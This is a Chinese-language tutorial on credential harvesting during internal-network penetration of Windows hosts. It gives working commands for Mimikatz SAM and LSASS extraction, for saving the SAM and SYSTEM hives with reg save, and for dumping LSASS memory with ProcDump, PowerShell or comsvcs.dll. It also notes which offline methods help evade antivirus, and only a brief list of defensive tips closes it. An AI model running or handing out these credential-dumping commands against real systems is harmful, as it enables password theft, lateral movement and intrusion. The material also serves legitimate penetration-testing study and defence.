内网密码抓取技术
文章目录
1. 内网密码抓取技术概述
- 核心意义:密码是内网渗透的关键,用于横向移动(如攻击其他主机或服务)。
- 关注点:
- 本地账号密码/Hash(如Windows本地账户)
- 域账号密码/Hash(用于域内权限提升)
- RDP/浏览器/数据库密码(直接获取敏感服务凭证)
- 本地保存的密码文件(如配置文件、缓存文件)
2. 常用密码抓取工具
工具 | 功能描述 |
---|---|
Mimikatz | 全能工具,可提取内存明文密码、Hash、Kerberos票据,支持哈希传递攻击 |
GetPassword | 直接读取系统明文密码(仅支持旧系统) |
PwDump7 | 导出本地用户的NTLM Hash |
QuarksPwDump | 导出本地或域用户的Hash,支持多种格式 |
CS/MSF工具 | 渗透框架自带模块,支持远程Hash抓取 |
ProcDump | 导出lsass进程内存文件,用于离线分析 |
工具使用示例
-
Mimikatz核心命令
# 提取本地SAM Hash privilege::debug # 提升调试权限 token::elevate # 提升令牌权限 lsadump::sam # 读取SAM文件中的Hash # 提取内存明文密码 sekurlsa::logonpasswords # 从Dump文件读取密码 sekurlsa::minidump lsass.dmp
-
QuarksPwDump导出Hash
QuarksPwDump.exe --dump-hash-local
-
ProcDump导出lsass内存
procdump.exe -accepteula -ma lsass.exe lsass.dmp
3. 系统密码存储与认证原理
本地认证流程
电脑开机 → 用户输入密码 → Winlogon.exe → LSASS.exe → 对比SAM文件中的Hash
- 关键组件:
- SAM文件:存储本地用户Hash,路径为
C:\Windows\System32\config\SAM
(默认被系统锁定)。 - LSASS进程:负责密码验证,内存中可能缓存明文或加密凭据。
- SAM文件:存储本地用户Hash,路径为
4. 在线读取SAM文件中的Hash
方法一:Mimikatz直接读取
privilege::debug # 提升调试权限
token::elevate # 提升令牌权限
lsadump::sam # 读取SAM文件中的Hash
方法二:CS/MSF工具
5. 离线读取SAM文件中的Hash
步骤
-
导出SAM文件:
reg save HKLM\SAM sam.hive reg save HKLM\SYSTEM system.hive
-
本地解析Hash:
mimikatz "lsadump::sam /sam:sam.hive /system:system.hive"
优点
- 规避在线操作风险,适合绕过杀软检测。
6. 在线读取lsass进程内存密码
常用命令(Mimikatz)
privilege::debug
sekurlsa::logonPasswords # 综合读取内存中的明文密码和Hash
sekurlsa::wdigest # 通过WDigest协议读取明文密码
sekurlsa::kerberos # 获取Kerberos票据中的密码
缺点
- 依赖工具驻留内存,易被安全软件检测。
7. 离线读取lsass进程内存密码
导出lsass内存的4种方法
-
任务管理器手动转储:
- 右键lsass进程 → 创建转储文件(需GUI权限)。
-
ProcDump工具:
procdump.exe -accepteula -ma lsass.exe lsass.dmp
-
PowerShell脚本:
Get-Process lsass | Out-Minidump # 生成内存转储文件
-
系统自带comsvcs.dll:
tasklist | findstr lsass.exe # 获取lsass进程PID rundll32 C:\windows\system32\comsvcs.dll, MiniDump <PID> <输出路径> full
离线分析命令
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords"
总结:方法与工具对比
方法 | 适用场景 | 优点 | 缺点 |
---|---|---|---|
在线读取SAM | 快速获取本地Hash | 无需导出文件 | 易被杀软拦截 |
离线读取SAM | 规避检测 | 安全隐蔽 | 需手动导出文件 |
在线读取lsass | 实时抓取明文 | 直接获取密码 | 内存操作风险高 |
离线读取lsass | 复杂环境分析 | 支持深度分析 | 步骤繁琐 |
防御建议
- 禁用WDigest协议(注册表键值设为0)。
- 监控lsass进程的异常访问。
- 定期更新系统补丁(如KB2871997)。
- 使用EDR工具检测恶意行为。